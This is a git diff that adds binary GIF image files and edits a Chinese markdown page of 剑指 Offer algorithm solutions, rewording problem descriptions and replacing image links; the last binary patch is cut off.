index 0000000000000000000000000000000000000000..fe6c5503bcffa54df28b60970e4a6bdcb1240bd9
GIT binary patch
literal 11264
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
B!EFEl

literal 0
HcmV?d00001

diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 140023c7..6c61ccec 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -110,14 +110,13 @@ Output:
 
 ## 解题思路
 
-要求复杂度为 O(N) + O(1)，也就是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。
+要求是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。
 
 对于这种数组元素在 [0, n-1] 范围内的问题，可以将值为 i 的元素调整到第 i 个位置上进行求解。
 
 以 (2, 3, 1, 0, 2, 5) 为例，遍历到位置 4 时，该位置上的数为 2，但是第 2 个位置上已经有一个 2 的值了，因此可以知道 2 重复：
 
-<div align="center"> <img src="https://github.com/CyC2018/CS-Notes/raw/master/docs/notes/pics/11548084848123.gif" width="250px"> </div><br>
-
+<div align="center"> <img src="pics/_u6570_u7EC4_u4E2D_u91CD_u590D_1548260392361.gif" width="250px"> </div><br>
 
 ```java
 public boolean duplicate(int[] nums, int length, int[] duplication) {
@@ -148,7 +147,7 @@ private void swap(int[] nums, int i, int j) {
 
 ## 题目描述
 
-在一个二维数组中，每一行都按照从左到右递增的顺序排序，每一列都按照从上到下递增的顺序排序。请完成一个函数，输入这样的一个二维数组和一个整数，判断数组中是否含有该整数。
+给定一个二维数组，其每一行从左到右递增排序，从上到下也是递增排序。给定一个数，判断这个数是否在该二维数组中。
 
 ```html
 Consider the following matrix:
@@ -166,13 +165,11 @@ Given target = 20, return false.
 
 ## 解题思路
 
-从右上角开始查找。矩阵中的一个数，它左边的数都比它小，下边的数都比它大。因此，从右上角开始查找，就可以根据 target 和当前元素的大小关系来缩小查找区间。
+要求时间复杂度 O(M + N)，空间复杂度 O(1)。
 
-复杂度：O(M + N) + O(1)
+该二维数组中的一个数，它左边的数都比它小，下边的数都比它大。因此，从右上角开始查找，就可以根据 target 和当前元素的大小关系来缩小查找区间，当前元素的查找区间为左下角的所有元素。
 
-当前元素的查找区间为左下角的所有元素，例如元素 12 的查找区间如下：
-
-<div align="center"> <img src="pics/f94389e9-55b1-4f49-9d37-00ed05900ae0.png" width="250"/> </div><br>
+<div align="center"> <img src="pics/_u4E8C_u7EF4_u6570_u7EC4_u4E2D_.gif"/> </div><br>
 
 ```java
 public boolean Find(int target, int[][] matrix) {
@@ -203,10 +200,10 @@ public boolean Find(int target, int[][] matrix) {
 
 ```text
 Input:
-"We Are Happy"
+"A B"
 
 Output:
-"We%20Are%20Happy"
+"A%20B"
 ```
 
 ## 解题思路
@@ -217,6 +214,8 @@ Output:
 
 从后向前遍是为了在改变 P2 所指向的内容时，不会影响到 P1 遍历原来字符串的内容。
 
+<div align="center"> <img src="pics/_u66FF_u6362_u7A7A_u683C.gif"/> </div><br>
+
 ```java
 public String replaceSpace(StringBuffer str) {
     int P1 = str.length() - 1;
@@ -245,7 +244,7 @@ public String replaceSpace(StringBuffer str) {
 
 ## 题目描述
 
-输入链表的第一个节点，从尾到头反过来打印出每个结点的值。
+从尾到头反过来打印出每个结点的值。
 
 <div align="center"> <img src="pics/d99dc9e2-197c-4085-813d-7195da1c6762.png" width="300"/> </div><br>
 
diff --git a/docs/pics/_u4E8C_u7EF4_u6570_u7EC4_u4E2D_.gif b/docs/pics/_u4E8C_u7EF4_u6570_u7EC4_u4E2D_.gif
new file mode 100644
index 0000000000000000000000000000000000000000..763fc1a39fe0c495b6b54ebb5b3e844d70dad014
GIT binary patch
literal 18432
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
